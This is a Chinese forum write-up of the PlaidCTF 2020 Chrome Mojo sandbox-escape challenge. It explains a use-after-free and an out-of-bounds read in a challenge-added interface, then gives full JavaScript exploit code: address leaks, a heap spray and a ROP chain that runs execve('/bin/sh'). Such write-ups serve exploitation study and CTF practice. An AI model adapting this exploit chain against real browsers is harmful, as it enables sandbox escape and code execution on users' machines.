沙箱逃逸之plaidctf 2020 mojo writeup
2022-12-12 03:7:0 Author: bbs.pediy.com(查看原文) 阅读量:16 收藏

Dockerfile的内容知道,启动chrome的命令如下所示,参数$1是要访问的链接。--headless表示不启动图形界面对页面进行解析;--enable-blink-features表示启用一个或多个启用Blink内核运行时的功能,在这里启用了MojoJSmojojs api

直接去看plaidstore.diff来尝试寻找漏洞,它添加了一个新的interface。先看plaidstore.mojom定义的interfaceinterface中定义了StoreData以及GetData两个函数。

来看interfacebrowser端的实现,如下所示。两个函数还没有具体实现,可以看到有两个私有成员变量render_frame_host_以及data_store_

GetData以及StoreData函数的实现如下所示。StoreDate会将data存入到data_store_[key]当中,GetData函数会尝试在data_store_中找到对应的key所存储的值,并拷贝出count大小的数据。

一个render进程里的RenderFrame,对应到browser进程里的一个RenderFrameHost。打开一个新的tab,或者创建一个iframe的时候,都对应创建出一个新的RenderFrameHost对象。

可以看到在初始化的时候会将render_frame_host指针保存在render_frame_host_中。但是理论上来说,interface是不应该直接存储render_frame_host指针的,如果需要使用,也应该使用RenderFrameHost::FromID(int render_process_id, int render_frame_id)的方式来获取相应的对象。

同时接口的实现还调用MakeSelfOwnedReceiver函数将把Mojo管道的一端 Receiver和当前PlaidStoreImpl实例绑定,只有当Mojo管道关闭或者发生异常, Receiver 端与当前实例解绑,此时的PlaidStoreImpl相关内存数据才会释放。

上面的代码也就意味着当mojo pipe不关闭时,PlaidStoreImpl对象不会释放,也就意味着仍然可以使用render_frame_host_指针。然而PlaidStoreImpl对象并没有与WebContent绑定,我们关闭tab或者销毁iframe 时,PlaidStoreImpl对象是不会被释放的。但是在关闭tab或者销毁iframe时,会释放对应的render_frame_host对象,此时我们仍然可以使用PlaidStoreImpl对象中的render_frame_host_去使用该内存,导致了uaf漏洞的形成。后续若仍然调用调用PlaidStoreImpl接口中的GetDataStoreData函数,会调用render_frame_host_->IsRenderFrameLive()代码,就触发了uaf漏洞。

调试浏览器时,最好在本地开一个web服务,而不是让浏览器直接访问本地html文件,因为这其中访问的协议是不一样的。浏览器访问web服务的协议是http,而访问本地文件的协议是file

头两句是要引入的头文件,blink.mojom.PlaidStore.getRemote则是对remote端进行绑定。使用await的理由是因为是从render进程发送给browser进程,需要等待,所以要使用await,不然可能会获取不到数据。

因为data_store_指针存储在PlaidStoreImpl对象当中,所以先看PlaidStoreImpl的创建以及调用StoreData函数之后的内存布局。

可以看到我们能够越界读取的数据0x0000284976881e10所属的地址空间和PlaidStoreImpl对象所属的地址空间是同一片区域,这样就使得如果在存储的数据后部署多个PlaidStoreImpl对象,那么就可以通过越界读取PlaidStoreImpl对象中的数据。

因为PlaidStoreImpl对象中有虚表指针以及render_frame_host_指针,我们就可以越界读把这些数据读出来,最终构造出来的代码如下。要提一个技巧就是搜寻地址是虚表指针因页对齐低三位地址以及高位都是确定的,通过这个方法可以大概率找到对象。

uaf漏洞利用则主要是通过在代码中构建frame,并将frame中的PlaidStoreImpl对象返回,然后关闭frame释放render_frame_host指针,最后使用PlaidStoreImpl对象来使用render_frame_host_来实现uaf

先要搞清楚render_frame_host对象的大小,该对象由RenderFrameHostFactory类实现,可以通过下面的断点来看该对象的大小,可以看到对象大小为0xc28

理论上最终storeData函数在执行render_frame_host_->IsRenderFrameLive()的时候,虚表指针已经被覆盖成了0x414141410x41414141会导致访存错误。

实际运行结果如下,可以看到会尝试调用call [rax+0x160],是代码render_frame_host_->IsRenderFrameLive()的实现,我们所申请的内存成功控制了对象,并且数据可控rip

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

function AddFrame()

{

    let frame = document.createElement("iframe");

    frame.srcdoc =

        `<script src="mojo/public/js/mojo_bindings_lite.js"></script>

            <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom-lite.js"></script>

        <script>

            async function Leak()

            {

                // oob read to leak chrome base addr and render_frame_host pointer

                let plaidStorePtrList = [];

                for(let i=0; i<0x200; i++) {

                    let p = blink.mojom.PlaidStore.getRemote(true);

                    await(p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)));

                    plaidStorePtrList.push(p);

                }

                let p = plaidStorePtrList[0];

                let leakData = (await p.getData("xxxxx", 0x2000)).data

                let u8 = new Uint8Array(leakData)

                let u64 = new BigInt64Array(u8.buffer);

                let vtableAddr = 0;

                let renderFrameHostAddr = 0;

                for(let i=0x28/8; i<u64.length; i++) {

                    let highAddr = u64[i]&BigInt(0xf00000000000)

                    let lowAddr = u64[i]&BigInt(0x000000000fff)

                    if((highAddr == BigInt(0x500000000000)) && lowAddr == BigInt(0x7a0)) {

                        vtableAddr = u64[i];

                        renderFrameHostAddr = u64[i+1];

                        break;

                    }

                }

                if(vtableAddr == 0 ) {

                    window.chromeBaseAddr = 0;

                    return;

                }

                chromeBaseAddr = vtableAddr - BigInt(0x9fb67a0);

                window.chromeBaseAddr = chromeBaseAddr;

                window.renderFrameHostAddr = renderFrameHostAddr;

                window.plaidStorePtrList = plaidStorePtrList;

                return;

            }

        Leak();

        </script>

        `;

      document.body.appendChild(frame);

    return frame;

}

async function pwn()

{

    let frame = AddFrame();

    frame.contentWindow.addEventListener("DOMContentLoaded", async () => {

        for(;;) {

              // step 1 trigger oob read to get address

            await frame.contentWindow.Leak();

            if(frame.contentWindow.chromeBaseAddr != 0) {

                console.log("[+] leak chrome base addr: "+hex(frame.contentWindow.chromeBaseAddr));

                console.log("[+] leak reander frame host addr: "+hex(frame.contentWindow.renderFrameHostAddr));

                break;

            }

        }

          // step 2 prepare the rop chain

        chromeBaseAddr = frame.contentWindow.chromeBaseAddr;

        renderFrameHostAddr = frame.contentWindow.renderFrameHostAddr;

        let xchgRaxRsp = chromeBaseAddr + 0x000000000880dee8n //: xchg rax, rsp ; clc ; pop rbp ; ret

        let popRdi = chromeBaseAddr + 0x0000000002e4630fn //: pop rdi ; ret

        let popRsi = chromeBaseAddr + 0x0000000002d278d2n //: pop rsi ; ret

        let popRdx = chromeBaseAddr + 0x0000000002e9998en //: pop rdx ; ret

        let popRax = chromeBaseAddr + 0x0000000002e651ddn //: pop rax ; ret

        //let syscall = chromeBaseAddr + 0x0000000002ef528dn //: syscall

        let execve = chromeBaseAddr + 0x9efca30n //: execve

        // step 3 reserve the child plaidStorePtrList to trigger uaf

        let plaidStorePtrList = frame.contentWindow.plaidStorePtrList;

          // step 4 prepare the rop chain memory

        let binshAddr = renderFrameHostAddr+0x50n;

        let renderFrameHostSize = 0xc28

        frameBuf = new ArrayBuffer(renderFrameHostSize);

        let frameData8 = new Uint8Array(frameBuf).fill(0x41);

        frameDataView = new DataView(frameBuf);

        frameDataView.setBigInt64(0x160,xchgRaxRsp,true);

        frameDataView.setBigInt64(0,renderFrameHostAddr,true);

        frameDataView.setBigInt64(0x8,popRdi,true);

        frameDataView.setBigInt64(0x10,binshAddr,true);

        frameDataView.setBigInt64(0x18,popRsi,true);

        frameDataView.setBigInt64(0x20,0n,true);

        frameDataView.setBigInt64(0x28,popRdx,true);

        frameDataView.setBigInt64(0x30,0n,true);

        frameDataView.setBigInt64(0x38,popRax,true);

        frameDataView.setBigInt64(0x40,59n,true);

        frameDataView.setBigInt64(0x48,execve,true);

        frameDataView.setBigInt64(0x50,0x68732f6e69622fn,true);  // /bin/sh

        // frameDataView.setBigInt64(0x50, 0x6f6e672f6e69622fn,true);  // /bin/gno

        // frameDataView.setBigInt64(0x58, 0x75636c61632d656dn,true);  // me-calcu

        // frameDataView.setBigInt64(0x60, 0x726f74616cn,true);  // lator\x00

          // step 5 free the renderFrameHost memory

        frame.remove();

          // step 6 malloc the freed memory and trigger uaf

        let bins = [];

        for(var i=0; i<0x1000; i++){

            plaidStorePtrList[0].storeData("crash", frameData8);

        }

    })

}

pwn();

第一次调mojo的洞,掌握了沙箱逃逸的大致原理,有了一个略模糊的概念,感觉还蛮有意思,因为对mojo的机制没有太搞明白,所以这里就不讲基础了,只对漏洞进行利用,后面搞得更清楚以后再进行分析。


文章来源: https://bbs.pediy.com/thread-275500.htm
如有侵权请联系:admin#unsafe.sh